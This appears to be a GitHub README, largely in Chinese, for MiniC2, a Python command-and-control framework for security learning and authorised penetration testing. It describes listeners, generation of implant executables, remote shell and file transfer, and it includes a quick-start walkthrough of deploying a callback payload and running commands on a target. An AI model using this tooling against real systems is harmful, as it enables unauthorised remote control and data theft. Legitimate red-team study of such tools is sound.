ItzSubhadip/MiniC2

GitHub: ItzSubhadip/MiniC2

一个轻量级、模块化的 Python C2 框架,用于安全学习和授权渗透测试。

Stars: 0 | Forks: 0

🎯 MiniC2

一个轻量级、模块化的命令与控制(Command & Control)框架,由 Python 构建

## 📖 概述 MiniC2 是一个极简但可扩展的命令与控制(Command & Control)框架,专为学习和授权渗透测试设计。它具备多协议支持、模块化命令、自动 Payload 生成以及实时会话管理功能——全部使用纯 Python 编写,无需任何第三方运行时依赖。 ## ✨ 功能特性 - **多协议监听器** - TCP、HTTP 和 HTTPS(带有自动生成的 SSL 证书) - **会话管理** - 同时跟踪、交互和监控多个会话 - **失效会话检测** - 后台监控程序自动检测失效会话并发出警报 - **Payload 生成** - 自动生成 Python Payload 并通过 PyInstaller 编译为独立的 `.exe` 文件 - **交互式 Shell** - 切换到远程系统 Shell - **文件传输** - 向/从目标上传和下载文件 - **模块化架构** - 易于通过自定义命令和会话命令进行扩展 - **日志记录** - 所有操作均记录到 `logs/minic2.log` ## 🏗️ 架构 ``` MiniC2/ ├── main.py # Entry point ├── requirements.txt # Dependencies ├── core/ │ ├── framework.py # Main CLI loop & command dispatcher │ ├── listener.py # TCP & HTTP/S listener implementations │ ├── session.py # TCP & HTTP session classes │ ├── session_manager.py # Session tracking, interaction & monitoring │ └── payload_generator.py # Payload templating & compilation ├── commands/ # Framework-level commands (auto-loaded) │ ├── base.py # Base command class │ ├── listener.py # Start listeners │ ├── generate.py # Generate payloads │ ├── sessions.py # List active sessions │ ├── use.py # Interact with a session │ ├── kill.py # Kill a session │ └── help.py # Display help info ├── session_commands/ # Per-session commands (auto-loaded) │ ├── base.py # Base session command class │ ├── shell.py # Remote shell access │ ├── upload.py # Upload files to target │ ├── download.py # Download files from target │ └── sysinfo.py # Gather system information ├── payloads/ │ └── templates/ │ └── client_template.py # Client implant template └── logs/ └── minic2.log # Runtime log file ``` ## 🚀 快速入门 ### 前置条件 - Python 3.8+ - `pip` (Python 包管理器) - OpenSSL(可选,用于 HTTPS 监听器 - 自动生成证书) ### 安装 ``` git clone https://github.com/ItzSubhadip/MiniC2.git cd MiniC2 pip install -r requirements.txt ``` ### 启动框架 ``` python main.py ``` 你将看到一个交互式控制台: ``` MiniC2 Framework (Type 'help' for commands) c2 > ``` ## 📘 使用说明 ### 框架命令 | Command | Usage | Description | |---------|-------|-------------| | `help` | `help [command]` | 显示可用命令或详细用法 | | `listener` | `listener ` | 启动 TCP、HTTP 或 HTTPS 监听器 | | `generate` | `generate ` | 生成客户端 Payload | | `sessions` | `sessions` | 列出所有活动会话 | | `use` | `use ` | 与特定会话进行交互 | | `kill` | `kill ` | 关闭并移除会话 | ### 会话命令 进入会话(`use `)后,可使用以下命令: | Command | Usage | Description | |---------|-------|-------------| | `shell` | `shell` | 切换到交互式远程 Shell | | `sysinfo` | `sysinfo` | 获取目标系统信息 | | `upload` | `upload ` | 向目标上传文件 | | `download` | `download ` | 从目标下载文件 | | `bg` | `bg` | 将当前会话切换到后台 | | `exit` | `exit` | 关闭并终止会话 | ### 快速开始示例 ``` # 1. 启动 TCP listener c2 > listener tcp 0.0.0.0 4444 # 2. 为 target 生成 payload c2 > generate tcp 192.168.1.100 4444 # 3. 在 target 机器上部署生成的 payload # (位于 payloads/generated/) # 4. 当 target 连接时,你将看到: # [+] New session 1 from ('192.168.1.50', 54321) # 5. 与 session 交互 c2 > use 1 # 6. 在 target 上运行命令 session 1 > shell session 1 (shell) > whoami desktop-target\user session 1 (shell) > exit session 1 > sysinfo session 1 > bg # 7. 返回 main console c2 > sessions ``` ## 🔌 扩展 MiniC2 ### 添加框架命令 在 `commands/` 目录下创建一个新文件(例如 `commands/mycommand.py`): ``` from commands.base import BaseCommand class Command(BaseCommand): name = "mycommand" description = "Description of what it does" usage = "mycommand " def execute(self, args): # Your logic here print("Hello from mycommand!") ``` 该命令会在启动时**自动加载**——无需手动注册。 ### 添加会话命令 在 `session_commands/` 目录下创建一个新文件(例如 `session_commands/screenshot.py`): ``` from session_commands.base import BaseSessionCommand class SessionCommand(BaseSessionCommand): name = "screenshot" description = "Take a screenshot of the target" usage = "screenshot" def execute(self, args): self.session.send({"type": "screenshot"}) result = self.session.receive() # Handle the result... ``` ## 🔌 协议详情 | Protocol | Transport | Encryption | Callback Style | |----------|-----------|------------|----------------| | **TCP** | 原始套接字 | 无 | 持久连接 | | **HTTP** | HTTP 轮询 | 无 | Beacon(2–5s 抖动) | | **HTTPS** | HTTP 轮询 | TLS(自动证书) | Beacon(2–5s 抖动) | ## ⚠️ 免责声明 本工具按“原样”提供,仅限用于**教育目的**和**授权安全测试**。作者不对任何滥用行为承担责任。在进行任何安全测试之前,请务必确保您已获得明确的书面许可。 ## 📄 许可证 本项目基于 [MIT License](LICENSE) 授权。
标签:C2框架, Cloudflare, DAST, DNS 反向解析, Google搜索, IP 地址批量处理, MiniC2, MITRE ATT&CK, Payload生成, PyInstaller, Python, TCP/HTTP监听, XML 请求, 内存取证对抗, 后门开发, 命令与控制, 安全学习资源, 安全开发, 安全测试工具, 开源安全工具, 恶意软件分析, 无后门, 漏洞挖掘, 网络信息收集, 网络安全, 远程控制, 逆向工具, 逆向工程平台, 隐私保护